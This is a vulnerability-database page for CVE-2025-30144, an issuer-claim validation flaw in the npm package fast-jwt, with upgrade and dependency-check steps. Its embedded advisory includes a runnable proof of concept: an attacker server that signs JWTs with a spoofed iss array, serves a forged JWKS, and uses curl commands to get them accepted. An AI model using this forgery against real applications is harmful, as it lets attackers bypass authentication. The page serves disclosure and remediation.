CVE-2025-30144: Fast jwt Fast-JWT Improperly Validates Iss Claims Vulnerability
MODERATECVE-2025-30144 is a MODERATE (CVSS 6.5) fast-jwt improperly validates iss claims vulnerability (CWE-290: Authentication Bypass by Spoofing) affecting Fast jwt libraries in the npm ecosystem. The issue involves fast-jwt improperly validates iss claims. Remediation is available by upgrading affected packages to version 5.0.6.
CVE-2025-30144 at a Glance
Security Impact
CVSS: 6.5
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N).
How to Fix CVE-2025-30144
To remediate this vulnerability, upgrade all affected Fast jwt dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install fast-jwt@5.0.6
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls fast-jwt
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-30144, inspect your project dependencies using npm:
npm ls fast-jwt
Analyze the terminal output to locate any version of Fast jwt in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.6), your application is affected.
Note: The npm ls fast-jwt command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-290: Authentication Bypass by Spoofing, where this attack-focused weakness is caused by incorrectly implemented authentication schemes that are subject to spoofing attacks. In Fast jwt, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-30144 Affected Fast jwt Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
fast-jwt
|
npm |
< 5.0.6
|
5.0.6
|
References
Frequently Asked Questions
What is CVE-2025-30144?
Which Fast jwt versions are affected?
What version fixes CVE-2025-30144?
Is fast-jwt affected?
What is the CVSS score of CVE-2025-30144?
What CWE is associated with CVE-2025-30144?
How can I check npm dependencies for CVE-2025-30144?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-gm45-q3v2-6cf8",
"modified" : "2025-03-20T18:58:42Z",
"published" : "2025-03-19T15:48:43Z",
"aliases" : [ "CVE-2025-30144" ],
"summary" : "Fast-JWT Improperly Validates iss Claims",
"details" : "### Summary\nThe `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.\n\n#### Details\nThe `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `['https://attacker-domain/', 'https://valid-iss']`. Due to the permissive validation, the JWT will be deemed valid.\n\nFurthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.\n\n#### PoC\nTake a server running the following code:\n\n```js\nconst express = require('express')\nconst buildJwks = require('get-jwks')\nconst { createVerifier } = require('fast-jwt')\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =>\n jwks.getPublicKey({\n kid: jwt.header.kid,\n alg: jwt.header.alg,\n domain: jwt.payload.iss\n });\n\n\nconst jwtVerifier = createVerifier({\n key: keyFetcher,\n allowedIss: 'https://valid-iss',\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\n\nasync function verifyToken(req, res, next) {\n const headerAuth = req.headers.authorization.split(' ')\n let token = '';\n if (headerAuth.length > 1) {\n token = headerAuth[1];\n }\n\n const payload = await jwtVerifier(token);\n\n req.decoded = payload;\n next();\n}\n\n// Endpoint to check if you are auth or not\napp.get('/auth', verifyToken, (req, res) => {\n res.json(req.decoded);\n});\n\napp.listen(port, () => {\n console.log(`Server is running on port ${port}`);\n});\n```\n\nNow we build a server that will be used to generate the JWT token and send the verification keys to the victim server:\n\n```js\nconst { generateKeyPairSync } = require('crypto');\nconst express = require('express');\nconst pem2jwk = require('pem2jwk');\nconst jwt = require('jsonwebtoken');\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}/`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\", \n { modulusLength: 4096,\n publicKeyEncoding: { type: 'pkcs1', format: 'pem' },\n privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n },\n); \nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create token\napp.post('/create-token', (req, res) => {\n const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'], }, privateKey, { algorithm: 'RS256' });\n res.send(token);\n});\n\napp.get('/.well-known/jwks.json', (req, res) => {\n return res.json({\n keys: [{\n ...jwk,\n alg: 'RS256',\n use: 'sig',\n }]\n });\n})\n\napp.all('*', (req, res) => {\n return res.json({\n \"issuer\": host,\n \"jwks_uri\": host + '.well-known/jwks.json'\n });\n});\n\napp.listen(port, () => {\n console.log(`Server is running on port ${port}`);\n});\n```\n\n\n```bash\nexport TOKEN=$(curl -X POST http://localhost:3001/create-token -H \"Content-Type: application/json\" -d '{\"name\": \"test\"}')\ncurl -X GET http://localhost:3000/auth -H \"Authorization: Bearer $TOKEN\"\n```\n\n#### Impact\nApplications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n#### Solution\nChange https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "fast-jwt"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "5.0.6"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-30144"
}, {
"type" : "WEB",
"url" : "https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd"
}, {
"type" : "WEB",
"url" : "https://datatracker.ietf.org/doc/html/rfc7519#page-9"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/nearform/fast-jwt"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-290" ],
"severity" : "MODERATE",
"github_reviewed" : true,
"github_reviewed_at" : "2025-03-19T15:48:43Z",
"nvd_published_at" : "2025-03-19T16:15:33Z"
}
}